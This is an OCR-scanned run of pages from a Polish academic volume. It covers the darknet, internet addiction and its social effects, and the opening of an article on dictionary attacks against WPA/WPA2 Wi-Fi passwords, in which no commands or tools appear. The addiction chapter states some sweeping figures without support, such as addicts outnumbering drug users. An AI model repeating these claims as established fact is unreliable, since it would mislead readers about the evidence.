(Ukryte Ustugi) lub Deep Web (Gleboki Internet), jest nosnikiem ustug dla tej
gorszej strony anonimowosci>!. Almanachem wiedzy o darknecie i zarazem jego
symbolem jest Hidden Wiki (Ukryta Wikipedia), zawierajgca hasta dotyczace
tresci, ktorych nie mozna znalez¢ w Internecie, ktorych wyszukiwarka Google
nie znajdzie. Deep Web kryje wszystko to, co w znanym przecigtnym uzytkow-
nikom w Internecie jest zabronione, a wicc: wszelkiej masci pornografia (takze
dziecigca), fora dla terrorystow i mito$nikow wszystkich odmiennosci, podrecz-
niki hackingu i poradniki przygotowywania substancji psychoaktywnych w wa-
runkach domowych oraz wiele innych. Ta ciemna strona Internetu uchodzi
w opiniach wielu uzytkownikow, ktorzy niby przypadkiem tam zajrzeli, za Sciek
lub rynsztok informacyjny, ktérym ptyng najbardziej cuchnace odpady dziatal-

24 por. Darknet — ciemna strona sieci, ,,PC World” 11/2013.

123



nosci ludzkiej w sieci. Do informacji zawartych w darknecie nie mozna dosta¢
si¢ za posrednictwem Google, czy innego legalnego oprogramowania. Do zaso-
béw ciemnej strony Internetu trzeba dotaczyé swiadomie, instalujac odpowied-
nie oprogramowanie i majac jasng intencj¢ poszukiwania tego, co zakazane
i nielegalne lub chcac pozosta¢ w Internecie anonimowym uzytkownikiem. Po
ciemnej stronie sieci nie funkcjonujg wyszukiwarki, a uzytkownicy muszg pole-
ga¢ na zbiorach odsytaczy. Witryny w tej sieci sa bardzo prymitywne, a ich
oprawa graficzna przypomina Internet z lat 90. XX wieku. Punktem startowym
w ciemnej stronie Internetu jest najczeSciej witryna TorDir, ktora jest niczym
innym, jak katalogiem linkdéw, agregujacym mnostwo odnosnikow do innych
stron. Nie wszystkie odsytacze zawsze dziatajg, a zawarto$¢ stron jest dostepna
tylko wtedy, kiedy wtasciciel serwera wiaczy go i zaloguje si¢ w sieci. To jesz-
cze jedna typowa cecha darknetu, odrozniajaca go od zwyklej sieci. Jesli jedne-
go dnia sg dostepne jakies$ strony, drugiego moga one juz nie dziata¢, ale za to sg
dostepne zupelnie inne, ktdrych wczesniej nie byto.

Istnienie darknetu samo w sobie nie wplywa na bezpieczenstwo internautow.
Ciemna sie¢ funkcjonuje poza uzytkownikami Internetu, a jesli nawet legalne dane
gdzies na faczach mieszajg si¢ z brudnymi danymi, nie powoduje to zadnych kolizji.
Nalezy pamigta¢, ze przestepcy, ci instytucjonalni i prywatni, przygotowuja pod
ostong darknetu ataki r6znego rodzaju (wymienione wyzej) dotyczace catego Inter-
netu, ktore w efekcie moga dotkna¢ kazdego uzytkownika. Kazdy internauta moze
by¢ zamieszany w tego typu dziatania, bez jego wiedzy i przyzwolenia.

Z.akonczenie

Wraz z poczatkiem XXI wieku szczegdlnie dwa zjawiska zdominowaty my-
$lenie o przysztosci: globalizacja (gospodarka, kultura, polityka) i szybki rozwdj
technologii informacyjnej (szczeg6lnie Internetu). To wilasnie Internet stanowi
najbardziej wyrazisty przyktad globalizacji systeméw informacyjnych. Zycie
w globalnym spoteczenstwie informacyjnym jest jednoznaczne z istnieniem
czlowieka w spoteczenstwie sieciowym, gdyz, jak stwierdzil chociazby M. Ca-
stells, ,,zyjemy bowiem w galaktyce Internetu”®. Internet jest dobrodziejstwem
dla wszelkich dziatan ludzkich, takze dla bezprawnych i nieetycznych dziatan
profesjonalnych przestgpcow, terrorystow, hackeréw i crackerow.

Na zakonczenie drobna ciekawostka, ktora podaty dwie agencje prasowe
w roznym czasie: Serwis USA Today®® juz w 2008 r., a serwis Russia Today

% M. Castells, Galaktyka Internetu, Dom Wydawniczy REBIS, Poznan 2003.

% por, w serwisie USA Today: Your next gadget may come with a pre-installed virus,
http://usatoday30. usatoday.com/tech/news/computersecurity/2008-03-13-factory-installed-virus_
n.htm (2.12.2010).
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(obecnie RT)*’ w 2013 r. Poinformowaty one, ze W procesie produkcji urzadzen
elektronicznych stuzacych do komunikacji on-line (np. laptopach, tabletach) przein-
stalowane sg wirusy. Cata wina zostata zrzucona na producentéw urzadzen w Chi-
nach, lecz kto zlecit instalacje oprogramowania z wirusami trudno zgadna¢. USA
Today przypisujg tego typu dziatania NSA, a RT rzadowi chinskiemu. Za tego typu
dziataniami z pewnoscig nie stoja tak wykleci i §cigani domorosli hackerzy.
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Streszczenie

Od kilku lat jesteSmy $wiadkami ogromnego wrgcz rozwoju Internetu, zaréwno pod wzgle-
dem liczebnosci uczestnikow, jak tez liczby ushug przez niego oferowanych. Jedni widza w nim
szans¢ na polepszenie jako$ci zycia, inni za$ podchodza do niego bardzo nieufnie, wyliczajac
zagrozenia ptynace z uzytkowania komputera oraz sieci.

Mozna si¢ spierac¢ co do zasadnosci uzywania w Internetu wielu dziedzinach zycia oraz ewentual-
nej jego szkodliwosci, jednak w jednej kwestii powinnismy by¢ zgodni: czy tego chcemy, czy tez nie —
Internet bedzie rozwijat si¢ dalej, opanowujac coraz wigcej dziedzin naszego zycia tym samym bedzie
stawal si¢ niezbednym narzedziem pracy lub pomoca w prowadzeniu gospodarstwa domowego®.

Summary

Since couple of years we've became witnesses of fast developing of the internet, including
huge amount of participans and wide range of facilities. Some of them use it to improve their
quality of life but the others treat it very carefully because of dangers contect with using a comput-
er or the internet.

There are some doubts using it in different ways and its potential danger, however there is
one point we can't disagree- the Internet is still developing, including new areas of our life and
becoming necessary tool in out job or domestic work.

Wstep

Internet jest szczegdlnie groznym i uzalezniajacym medium. Godziny
spedzane w sieci to czas odebrany pracy, nauce czy zyciu rodzinnemu. Uza-
leznienie od Internetu staje si¢ coraz powazniejszym problemem spotecznym,
ktory dotyka przede wszystkim osoby mieszkajgce samotnie oraz niemajgce
statego zajecia.

1 7. Ploszynski, Ksztalcenie na odleglosé¢ [w] Oblicza Internetu, red. M. Sokotowski, Zaktad
ALGRAF, Elblag 2005.

126



Liczba 0s6b uzaleznionych od Internetu przekracza w niektorych panstwach
uprzemystowionych liczb¢ uzaleznionych od narkotykéw pochodzacych z maku
i jest konieczne podjgcie krokéw przeciwko tej nowej chorobie — ocenia au-
striacki specjalista Hurbert Poppe, specjalizujacy si¢ w terapiach odchodzenia od
uzaleznien narkotykowych.

Uzaleznienie od Internetu (online addiction czy tez Internet addiction) jest
wiec dzi§ takim samym problemem spotecznym jak alkoholizm czy zazywanie
narkotykow. Jest juz dostrzegane, ale jeszcze niezbyt dobrze znane, stabo zba-
dane. Badan jest niewiele, bo tez niewiele wiadomo 0 samych uzytkownikach
Internetu. Nie wiadomo, kim s3, a wiec tym bardziej — jakie s ich problemy.
Jednym z nielicznych naukowcoéw zajmujacych si¢ tym problemem jest doktor
Mark Griffiths z Nottingham and Trent University. Wskazuje na podobienstwa
migdzy ogladaniem telewizji, grami wideo i korzystaniem z Internetu — wszedzie
mamy do czynienia z kontaktem cztowicka z maszyna. Stwierdza, ze Internet
jest szczegblnie groznym i uzalezniajacym medium?.

W dzisiejszych czasach nie wyobrazamy sobie codziennosci, ktora nie jest
wspierana poprzez wachlarz mozliwosci, jakie daje Internet. Ludzie szybko
wdrozyli go w swoje zycie, uzywajac do pracy, nauki, zdobywania i przekazy-
wania informacji, rozrywki oraz komunikowania si¢ mi¢dzy sobg. Internet stat
si¢ rzeczg powszechng w szkotach, w pracy i domach. Z kazdym rokiem obser-
wujemy lawinowy wzrost liczby internautow na catym $wiecie. Z tej najnowszej
technologii korzystaja ludzie w kazdym wieku.

Wraz ze wzrostem popularnoséci Internetu rosng réwniez obawy zwigzane
Z jego nadmiernym uzywaniem. Uzaleznienie od sieci globalnej, formalnie czg-
$ciej nazywane patologicznym uzywaniem Internetu, stanowi rodzaj zaburzenia
kontroli impulséw. Z pozoru wykazuje podobienstwo do uzaleznien zwigzanych
z konwencjonalnymi mass mediami, takimi jak telewizja, jednak potencjalnie wyda-
je sie powazniejsze. Podczas gdy na przyktad telewizja pochtania gtownie wolny
czas spedzany w domu, t0 nadmierne uzytkowanie Internetu przeszkadza w pracy,
szkole i rozrywce, zmienia rowniez relacje osobiste, rodzinne i zawodowe®.

1. Uzaleznienie od Internetu
Mobwigc o uzaleznieniach na pierwsza mysl przychodzg nam substancje

chemiczne, od ktérych zazywania nasz organizm si¢ uzaleznia. Sg to migdzy
innymi narkotyki, papierosy czy alkohol. Czasami mogg to by¢ rowniez pewne

2J. Spiller, Online Addicts, Internet Today, marzec 1996; P. Gamdzyk, Tylko jeszcze jedno
kliknigcie, ,,ComputerWorld” z 26 sierpnia 1996 r.; J. Zielinski, Uzaleznienie od Internetu,
WWW.winter.pl.

8 W.J. Paluchowski, Internet a psychologia, mozliwosci i zagrozenia, PWN, Warszawa 2009.
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dziatania, z ktorych czerpiemy wielka przyjemnos¢. Dlatego do uzaleznien od

hazardu, obsesji seksualnych czy robienia zakupéw mozemy zaliczy¢ takze uza-

leznienie od Internetu, ktory jest szczegdlnie groznym i uzalezniajacym medium.

Uzaleznienie od Internetu staje si¢ coraz powazniejszym problemem spotecz-

nym. Dotyka przede wszystkim osoby mieszkajgce samotnie 0raz pozostajace

bez statego zajecia®.

Osoby uzaleznione nie zdaja sobie sprawy z istniejacego zagrozenia, czasa-
mi nie zwracajg na to uwagi lub tez $wiadomie probujg ten fakt ukry¢. Czas, jaki
spedzaja przed komputerem liczony jest w godzinach dziennie.W odpowiedzi na
prosbe pojscia spa¢ lub zjedzenia positku odpowiadajg zwykle ,,jeszcze tylko
kilka minut”. Rzadko jednak dotrzymuja stowa”.

Uzaleznienia te przejawiaja si¢ w:

e potrzebie korzystanie z Internetu przez coraz dluzszy czas, aby uzyskac satys-
fakcje;

e Stopniowym obnizaniu si¢ satysfakcji osigganej podczas korzystania
z Internetu przez t¢ samg ilo$¢ czasu;

o duzej ilodci czasu poswieconego na czynnos$ci zwigzane z Internetem (kupo-
wanie ksigzek o Internecie, porzadkowanie $ciagnigtych z Internetu materia-
low itp.);

o zainteresowaniu wszelkimi formami w Internecie: prasie, ksigzkach itp.;

e oOgraniczeniu lub catkowitej rezygnacji z innych czynnosci spotecznych (rodzin-
nych, zawodowych, rekreacyjnych) na rzecz korzystania z Internetu®.

Do najbardziej uzalezniajacych czynnosci on-line, nieznanych w konwen-
cjonalnych mass mediach, zalicza si¢ r6zne formy komunikacji synchronicznej,
czyli rozmowy w czasie rzeczywistym, wiacznie z czatem czy komunikatorami
internetowymi.

K.S. Young wyréznita pig¢ rodzajow uzaleznien od Internetu:

e erotomania internetowa;

e socjomania internetowa (uzaleznienie kontaktéw z ludzmi przez Internet i
zwiagzane z tym zerwanie kontaktow bezposrednich), obsesja $ledzenia, co si¢
dzieje w Internecie;

e przecigzenie informacyjne (goraczkowe przerzucanie informacji — prowadzi
to do obnizenia sprawnos$ci psychicznej);

e uzaleznienie od komputera (przymus spedzania czasy przy wiaczonym

e komputerze)'.

* http:/Avww.winter.pl

® http:/Awww.szkolnictwo.pl

® M. Filipiak, Homo communicans wprowadzenie do teorii masowego komunikowania, Wy-
dawnictwo Uniwersytetu Marii Curie-Sktodowskiej, Lublin 2003.

" M. Laskus, Uwiezieni w sieci, ,,Chip” 2005, nr 11.

128



Najwickszym problemem uzaleznionego czlowieka jest izolowanie si¢ od
rzeczywistego $wiata, nierealizowanie si¢ w nim, niezaspokajanie potrzeby ak-
tywnosci, izolowanie si¢ od ludzi, brak komunikacji, kontaktow z innymi ludzmi
W realnym wymiarze, uciekanie od probleméw codziennosci w wirtualng, wyimagi-
nowang przestrzen Internetu. Ludzie zamykajg si¢ W cyberprzestrzeni z powodu
ciekawosci $wiata i glgboko ukrytych kompleksow, braku wiary w siebie®.

Jako anonimowe osoby czuja si¢ bezpiecznie w sieci, pewni siebie i czesto
bezkarni. Pokazujg swoje drugie oblicze.

Skutki uzaleznienia od Internetu mozna podzieli¢ na psychologiczne i spo-
leczne.

Do skutkéw psychologicznych naleza:
utrwalanie postawy egocentrycznej;
depresje spowodowane brakiem kontaktu z siecia;
zaburzenia w zakresie wlasnej tozsamosci;
zawezenie zainteresowan i mozliwos$ci intelektualnych;
zanik wig¢zi emocjonalnych z osobami najblizszymi (przeniesienie emocCji na
0soby z sieci);

e zanik umiej¢tno$ci komunikacji niewerbalnej (trudno$ci z odczytywaniem
informacji nadawanych w tej formie);
o fobia spoteczna (unikanie kontaktow osobistych).

Do skutkow spotecznych zaliczone sa:
utrata zainteresowania wszelkimi formami aktywnos$ci spoteczne;;
zaniedbywanie zycia rodzinnego, nauki i pracy;
rozregulowanie cyklu okotodobowego, gléwnie rytmu: sen — praca,
ktopoty finansowe (przy korzystaniu z kosztownej sieci w domu);
zaniedbanie troski o wiasne zdrowie (zarwane noce, nieregularne positki),
powoduja podatno$é na infekcje i choroby?®.

Nadmierne spedzanie czasu w sieci w znaczgcym stopniu odbija si¢ na zyciu
rodzinnym, pracy czy nauce. Osoba uzalezniona zaniedbuje wlasny dom i rodzi-
ne¢ nie wypelniajac swoich codziennych obowiazkow. Wyraza si¢ to brakiem
troski o wlasne zdrowie i higiene osobista, a prowadzi do zmniejszenia efektyw-
nosci wykonywanej pracy oraz konfliktami emocjonalnymi z partnerem.

Problem tego zjawiska wydaje si¢ by¢ na wielkg skale, szczegdlnie dotyczy
on panstw wysoko rozwinigtych. Badania przeprowadzane przez naukowcow
moéwiag ze liczba uzaleznionych od Internetu przekroczyla juz tych uzaleznio-
nych od narkotykow.

8 ). Gajda, Media w komunikacji, Wydawnictwo Wyzszej Szkoty Pedagogicznej ZNP w War-
szawie, Warszawa 2002.
® M. Filipiak, Homo communicans. ..
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Najbardziej podatni na uzaleznienia sa mtodzi ludzie, ktoérzy w sieci czuja
si¢ potrzebni, bo nie jest wazny wyglad czy wiek, liczy si¢ wiasne ,,ja”. Latwo
znalez¢ kogo$, kogo zainteresuja nasze poglady i przylaczy sie do wymiany
zdan, poza tym Internet oferuje anonimowosc.

W niektorych przypadkach ludzie uciekaja od codziennych problemow
chowajac si¢ w wirtualnym $wiecie, ktory staje si¢ dla nich miejscem odpoczyn-
ku od zycia.

Kiedy do$¢ czesto przesiadujemy kilka godzin w Internecie i nie widzimy
W tym nic zlego powinnismy przyjrzec si¢ temu jeszcze raz. Szukajac fachowej
pomocy mozemy po prostu jej nie znalez¢, gdyz problem internetowych uzalez-
nien, mimo ze dostrzegany, nie ma jeszcze opracowanych badan naukowych nad
tym zjawiskiem.

Trudno okresli¢, co takiego moze powodowaé owe uzaleznienie, nie mozna
tez wyznaczy¢, CO jest najniebezpieczniejsze, aby moc sie przed tym uchronic.

Opinie badaczy mowia, ze prawdopodobnie to, ze Internet gromadzi w sobie
tak wiele zasobow i1 umozliwia roznego rodzaju aktywnosci przyczynia si¢ do
powstawania uzaleznien.

Waznym czynnikiem moze by¢ anonimowos¢, szczegodlnie, jezeli chodzi tu
o sfery pornografii, ktére nie sa zbyt akceptowane spolecznie. Internauta w ten
sposob bez obaw moze korzysta¢ z takich zasobdw.

Pewne psychologiczne przestrzenie Internetu mogg by¢ tak atrakcyjne i ab-
sorbujace, ze sklaniaja ludzi do intensywnego korzystania z sieci, a nawet jej
natogowego naduzywania'®,

Wydaje si¢, ze najlepsza metoda jest racjonalne korzystanie z nowych techno-
logii. Przede wszystkim powinno pamigta¢ si¢ o rodzinie i bliskich, by nie zanie-
dbywaé spotecznych wiezi. Zaden natég nie jest dla nas dobry i, niestety, globalnej
sieci, jak i innym natogom tatwo si¢ podporzadkowa¢, trudniej z nimi zerwac.

Warto podkresli¢, ze Internet, podobnie jak telewizja, zawiera zbyt duzo tre-
$ci agresywnych, przyczyniajac si¢ posrednio do szerzenia si¢ fali przemocy,
szczegolnie wsrod miodych ludzi. Internet utrwala pewne negatywne wzorce
zachowania, ktore mtodziez odtwarza potem w realnym zyciu. Poza tym aktywi-
zuje negatywne stany emocjonalne i zwigksza tolerancj¢ ludzi na akty przemocy
majace miejsce w rzeczywistym $wiecie, ktore sg przez nich uwazane za incy-
denty zupetie normalne.

W Stanach Zjednoczonych Ameryki uzaleznienie od Internetu zostato wpi-
sane na listg chorob, ktorych leczenie jest refundowane. Z tych tez wzgledow
analizowanie uzaleznienia nalezy rozpatrywaé¢ w aspekcie szerszym — ochrony
zdrowia psychicznego.

10p. Wallach, Psychologia Internetu, Dom Wydawniczy REBIS, Poznaf 2001.
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W polskim systemie prawnym nie ma ustawy poswigconej uzaleznieniu od
Internetu, dlatego tez problem ten nalezy potraktowac zbiorczo. Wprowadzona
ustawowo instytucja powinna zajmowac si¢ tego rodzaju patologia, a zarazem
by¢ odpowiedzialna za ksztattowanie polityki spotecznej w tym zakresie, analo-
gicznie jak ustawa o wychowaniu w trzezwosci i zapobieganiu alkoholizmowi™,
czy ustawa o ochronie zdrowia psychicznego™.

Ustawa o ochronie zdrowia psychicznego z dnia 19 sierpnia 1994 roku
w art. 3 zawiera definicj¢ osoby z zaburzeniami psychicznymi. Termin ten odno-
si si¢ do osoby: chorej psychicznie (wykazujacej zaburzenia psychotyczne),
osoby uposledzonej umystowo, osoby wykazujacej inne zaktdcenia czynnosSci
psychicznych, ktore zgodnie ze stanem wiedzy medycznej zaliczanie sg do zabu-
rzen psychicznych, a osoba ta wymaga $wiadczen zdrowotnych lub innych form
pomocy i opieki, niezbednych do zycia w $rodowisku rodzinnym lub spotecz-
nym*. Wedtug prawa pracy uzaleznienie od Internetu moze spowodowaé bez-
prawne naruszenie porzadku pracy dotyczy¢ np. obowigzku stosowania si¢ do
ustalonego czasu pracy, wykonywania w czasie pracy czynnosci niezwigzanych
z zadaniami wynikajacymi ze stosunku pracy oraz regut zapewniajacych prawi-
dlowe funkcjonowanie zaktadu™.

Uzaleznienie internetowe to nowy rodzaj natogu, polegajacy na ustawicz-
nym spe¢dzaniu czasu na kontaktach z komputerem, a zwlaszcza z siecig Internet,
charakteryzujacy si¢ wewngtrznym przymusem ,,bycia w sieci” osoby uzalez-
nionej". Obecnie do 0s6b uzaleznionych zalicza si¢ osobe w wieku od 15 do 25
lat. W tym wieku mtody cztowiek jest bardzo podatny na wptywy, gdyz jego
0sobowos¢ jeszcze sie ksztattuje, natomiast to, co si¢ w tym okresie uksztattuje,
jest wzglednie trwale. Osoby, ktore korzystaja z Internetu, czgsto poswigcajg mu
bardzo duzo czasu, niejednokrotnie dochodzi nawet do 10 godzin dziennie. Spe-
dzanie tak dlugiego czasu przed monitorem powoduje nadmierne obcigzenie
narzadu wzroku, czgsto pojawia si¢ zmeczenie, swedzenie lub ich pieczenie,
a takze sprzyja poglebianiu wadliwej postawy ciata. Ponadto, niedojrzaty uktad
nerwowy dziecka jest atakowany nadmiarem bodzcéw audiowizualnych, co
moze wywolywaé uczucie rozdraznienia, zmeczenia i trudnosci w koncentracji
uwagi. Tak wicc wplyw tego medium jest ogromny®®.

1 Ustawa z dnia 19.08.1994 r. o ochronie zdrowia psychicznego (Dz. U. nr 111, poz. 545).

12 ystawa z dnia 26.10.1982 r. o wychowaniu w trzezwosci i zapobieganiu alkoholizmowi
(Dz. U. z 2002, nr 147, poz. 1231).

13 http:/iprawo.vagla.pl

14 Ustawa z dnia 26.06.1974 r. Kodeks Pracy (Dz. U. z 1998 r., nr 21, poz. 94).

1% 7. Ploski, Stownik encyklopedyczny — Informatyka, Wydawnictwo Europa, Wroctaw 1999.

8 M. Przybysz, Uzaleznienie od medium XXI wieku [w:] Oblicza Internetu...
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2. Zanik kontaktéw miedzyludzkich

Wraz z rozwojem nowoczesnych technologii rozwijaty si¢ takze sposoby
komunikacji miedzyludzkiej. Przodownikiem w rozwoju stat si¢ Internet™’.

Internet, jak zadna inna technologia komunikacyjna, ktéra pojawita si¢ do
tej pory, wywarta ogromny wplyw na zycie spofeczne jednostki oraz calych
grup. Wplyw ten jest niezwykle wszechstronny™.

Dzis$ dzigki temu rozwojowi mozemy powiedzie¢, ze Internet jako medium
komunikacyjne odgrywa wazna, jesli nie najwazniejsza role w zyciu komunika-
cyjnym spoteczenstwa.

Internet, podobnie jak inne $rodki masowego przekazu, np. telewizja, ma tez
ogromny wpltyw na rozwdj spoteczny szczegdlnie dzieci i mtodziezy, na ich
relacje z innymi ludzmi. Internet sprawia np., ze zawieranie nowych znajomosci
staje si¢ prostsze. Nie bedac widzianym przez druga osobe, niektore strategie
autoprezentacyjne sa latwiejsze do zastosowania, mozemy stworzy¢ dowolny
wizerunek witasnej osoby. To zadziwiajace, ze rozmawiajac z kim$ przez Inter-
net, osoby nieSmiate nagle zaczynaja by¢ odwazniejsze, cz¢sto decyduja si¢ na
wyznanie tego, czego nigdy nie powiedziatyby wprost drugiej osobie.

Najgorsza z rzeczy, ktére moze spowodowacé uzaleznienie od Internetu, to
zanik kontaktow migdzyludzkich. Czlowiek uzalezniony zaniedbuje przyjaciol,
rodzing, rezygnuje z przyjemnosci i rozrywek, ktére dawniej go bawity — wila-
$nie na korzy$¢ nowego natogu. Niektorzy wysuwaja argumenty, ze Internet
stwarza mozliwo$¢ wzajemnego poznawania si¢, rozmawiania bez obaw, bez
skrepowania. Minusem tego typu znajomosci jest brak bezposrednich relacji
W cztery oczy z dang osobg, stracenie poczucia bliskosci. Istniejg co prawda
technologie, ktore pozwalaja na zobaczenie drugiej osoby przez Internet, nie
mozna tego jednak porownywac z normalng rozmowa. Zatracane s3 uczucia
W zyciu czlowieka, ktore powinny by¢ najwazniejsze, czyli przyjazn
i milo$¢. Przez Internet bowiem nie mozna poczué bliskosci drugiej osoby, nie
mozna si¢ do niej przytulic. Osoba, ktora stale przebywa przed komputerem,
moze w przyszto$ci mie¢ duze problemy w bezposrednich kontaktach z innymi
ludZmi, poniewaz izoluje si¢ od nich oraz od realnego otoczenia. Podsumowujac
w przypadku, kiedy uzaleznienie od Internetu bedzie si¢ rozwijato w takim tem-
pie jak dotychczas, mozliwe jest, ze niedtugo ludzie uzaleznieni zostang catko-

Y A. Piecuch, Swiaty réwnolegle [w:] ,Education — Technology — Computer Science, Main
problems of informatics and information education”, ,,Scientific Annual” No 4/2013, Part 2,
Uniwersytet Rzeszowski, Wydawnictwo O$wiatowe FOSZE, Rzeszow 2013.

8 A. Nowak, K. Krejtz, Internet z perspektywy nauk spolecznych [W:] Spoleczna przestrzer
Internetu, red. D. Batorski, M. Marody, A. Nowak, Wydawnictwo Szkoty Wyzszej Psychologii
Spotecznej ACADEMICA, Warszawa 2006.
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wicie odizolowani od reszty spoteczefistwa'®. Osobowos¢ osoby uzaleznionej od
Internetu jest skomplikowana. Czgsto jej reakcje na bodzce ze $wiata zewnetrz-
nego sa ze sobg sprzeczne, raz moze to by¢ reakcja gwaltowna, wrgcz agresyw-
na, za drugim razem raczej flegmatyczna lub prawie zadna. Cztowiek uzaleznio-
ny najbardziej denerwuje si¢, kiedy przeszkadza si¢ mu w jego uzaleznieniu,
dlatego z taka osoba ci¢zko jest porozumie¢ sig, jesli akurat surfuje ona po In-
ternecie. Jakiekolwiek stowa krytyki pod adresem Internetu i czasu spgdzanego
W nim przez osobg¢ uzalezniong moga si¢ spotkaé¢ z reakcjg bardzo wybuchowa.
Niestety, wielu rodzicow bagatelizuje ten problem, thumaczac sobie, ze wolg, by
dziecko siedziato przy komputerze, niz miatoby si¢ spotykaé z szemranym towa-
rzystwem kolegow. Tymczasem jest zupelnie na odwrot — czgsto wlasnie towa-
rzystwo jest najlepsza rzecza jaka moze si¢ przytrafi¢ dziecku®.

Wielu z aktywnych internautéw popada w zalezno$¢ nazwang przez japon-
skich psychologéw ,,spotecznym blednym kotem”. Polega ona na tym, ze im
wigcej danych internauta posiada 0 znajomych on-line, tym mniej utrzymuje
relacji bezposrednich off-line i intensywniej rozwija kontakty sieciowe.

3. Strach przed korzystaniem

Dla mtodych Internet jest wszechobecny. Uzywaja go prawie wszyscy ucz-
niowie i studenci. Rozszerza si¢ korzystanie z sieci wéréd osob w srednim wie-
ku, natomiast najstarsi w dalszym ciagu sa w wigkszo$ci wylaczeni z tego obsza-
ru aktywnosci.

Internet powstat stosunkowo niedawno, wigc wszyscy mtodzi, ktorzy dora-
stali w czasie gdy on si¢ rozwijat, niec majg wigkszych problemow z korzysta-
niem z jego zasobow. Wsrod wielu dorostych panuje przekonanie, ze korzysta-
nie z Internetu jest dla nich zbyt trudne ze wzglgdu na wiek i brak zdolnosci do
zrozumienia wspotczesnych zdobyczy techniki®.

Nie wiadomo, na czym to tak naprawd¢ polega, ze wigkszos$¢ starszych lu-
dzi stwierdza, iz Internet nie jest dla nich. Rzeczywiscie, Internet jest czyms, co
powstato stosunkowo niedawno, a starsi nierzadko ludzie zywig uprzedzenie do
wszystkiego co nowe.

W praktyce jednak np. uzywanie forum sprowadza si¢ do czytania tekstu
zekranu i wpisywaniu odpowiedzi, czyli naprzemiennym uzywaniu kartki
i maszyny do pisania. Maszyna jest wynalazkiem starszym niz obecni starusz-
kowie, wigc trudno tutaj wykrecac si¢ nieznajomoscia technologii. Sg oczywiscie

1 http:/fwww.bryk.pl
20 U. Pamicka, Szkodliwe uzaleznienia, »Wychowawca” 2002, nr 2.
21 ). Rafa, Internet dla kazdego?, ,Netforum” 1995, nr 5.
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istotne nowosci (w stosunku do papieru i maszyny do pisania) takie jak przyciski
odpowiedz i logowanie, ale stanowig one niewielki procent tego, czym trzeba ope-
rowaé. Zdecydowana wigkszo$¢ jest to wciaz, tak samo jak kiedys, czytanie czar-
nych stéw z biatego tta oraz weiskanie klawiszy z narysowanymi literkami®.

Stanowczo nierozsadne i nieuzasadnione jest odcinanie si¢ od Internetu, kto-
ry jest przeciez na wyciagniecie reki. Starsi ludzie czgsto potrzebuja informacji,
lub chcg dostepu do informacji, jednak odrzucajg obecnie najlepsze narzegdzie do
komunikacji, jakim jest wlasnie Internet.

Jezeli chodzi ogolnie o uczenie starszych 0s6b obstugi urzadzen wszelkiego
rodzaju takich jak telefony komorkowe czy komputery, to nalezy po prostu pisac
instrukcje obstugi krok-po-kroku, czyli zapisa¢ kazde kliknigcie czy nacis$nigcie
klawisza. Staruszka wyposazona w takg instrukcje moze poradzi¢ sobie wOW-
czas z zadaniem napisania e-maila czy postu na forum. Na poczatku moze zajaé
to troche czasu, ale w koncu si¢ udaje®.

Gdyby starsi ludzie wigcej korzystali z Internetu, wszystkim — i mtodym,
i starym, byloby tatwie;j.

Zakonczenie

Niestety, wielu uzytkownikdéw Internetu nie zdaje sobie sprawy, jak niebez-
piecznym narzgdziem moze by¢ Internet. Bardzo powaznym problemem jest
rosngca liczba uzaleznien od Internetu, zwlaszcza jesli chodzi o internetowe
pogawedki i czaty, a takze o tre§ci mogace w znacznym stopniu wplywaé na
nasze postrzeganie $wiata. Latwos¢ dostgpu do Internetu moze by¢ btogosta-
wienstwem, ale warto zwracaé¢ tez uwage na zagrozenia, jakie ptyna z nieodpo-
wiedzialnego jego uzytkowania.

Podobnie jak w wypadku innych uzaleznien podstawa terapii jest u§wiado-
mienie choremu faktu uzaleznienia oraz zgoda na jego leczenie.W przeciwien-
stwie do klasycznych uzaleznien (nikotyna, hazard, alkohol, narkotyki) leczenie
uzaleznienia od Internetu napotyka przeszkody. Czgsto bywa tak, Zze nie mozna
catkowicie wyeliminowa¢ korzystania z komputera i Internetu — w szczegdlnosci
gdy jest on zrodtem utrzymania®. Dlatego jako metody leczenia proponuje sie
m.in. wprowadzenie limitow na czas spedzony w sieci, wylgczanie komputera na
jeden dzien w tygodniu. W procesie terapii oczywista jest pomoc psychoterapeuty.

22 B, Salata, Wybrane problemy wykorzystania komputera w nauczaniu i zarzqdzaniu szkolg
[w:] Informatyka w dobie XXI wieku. Technologie informatyczne w nauce, technice i edukacji,
Politechnika Radomska, Radom 2009.

2 http://automaciej.jogger.pl

2 M. Wojtowicz, Informatyczne przygotowanie przysztego nauczyciela matematyki, ,,Educa-
tion — Technology — Computer Science”...
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Streszczenie

Celem artykutu jest wykazanie niedoskonatosci protokotu zabezpieczajacego WPA/WPA2
stosowanych w sieciach WiFi. Pokazano, jak za pomoca ogodlnie dostgpnych narzedzi mozna
przeprowadzi¢ atak stownikowy w celu ztamania hasta.

Summary

The purpose of this article is to show imperfections WPA/WPAZ2 security protocol used in
WiFi networks. Shown how to use widely available tools can be carried out a dictionary attack to
break the password. Indigenous password is the first step for further exploration of the system or
the captured data, so its protection is such an important factor in determining safety. In the applica-
tion of this type of security password power plays a very important role, as in the case of a strong
password is not possible breakage. In other words, it is a dictionary attack. If the password is not in
the dictionary attacker is not broken.

Wstep

Szyfrowanie oparte na standardzie WPA/WPA2' zapewnia zdecydowanie
skuteczniejsza ochrong, niz wczes$niej stosowane rozwigzanie oparte na
szyfrowaniu WEP. Standard ten zostal zaprojekowany w taki sposob, aby mogt
by¢ uzytkowany bez wprowadzania dodatkowych zmian w uzytkowanym
sprzgcie. W przypadku, ktéry jest opisany w niniejszym artykule, nie ma
wyrdznionego serwera uwierzytelnienia, ktory jest przypadkiem bezpieCz-
niejszym. Mamy natomiast pojedyncze wspélne hasto dostepowe do sieci. Taka
konfiguracja jest zdecydowanie prostsza, stad jej duza popularno$¢ w obecnie
uzywanych sieciach WiFi. Co prawda oferuje ona nizszy poziom bez-

! A.S. Tanenbaum, D.J. Wetherall, Sieci komputerowe, wyd. V, Helion, Gliwice 2012; K.R.
Fall, W.R. Stevens, TCP/IP od srodka. Protokoly, wyd. I, Helion, Gliwice 2013.
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pieczenstwa niz opcja wykorzystujaca serwer uwierzytelniania, jednak swoja
popularno$cia zdecydowanie przewyzsza wszystkie inne rozwigzania stosowane
do tej pory, szczegélnie w zastosowaniach personalnych i wykorzystywanych
W matych firmach.

1. Opis WPA

Priorytetowym krokiem do odnalezienia klucza gtdéwnego jest przechwyce-
nie czteroetapowej sekwencji uwierzytelniania ustug. W rozwigzaniu ze wspol-
nym hastem kazdy klient otrzymuje inny klucz zalezny od klucza gléwnego. Sa
one oparte na tym samym hasle glownym. Klucze wykorzystywane do transmisji
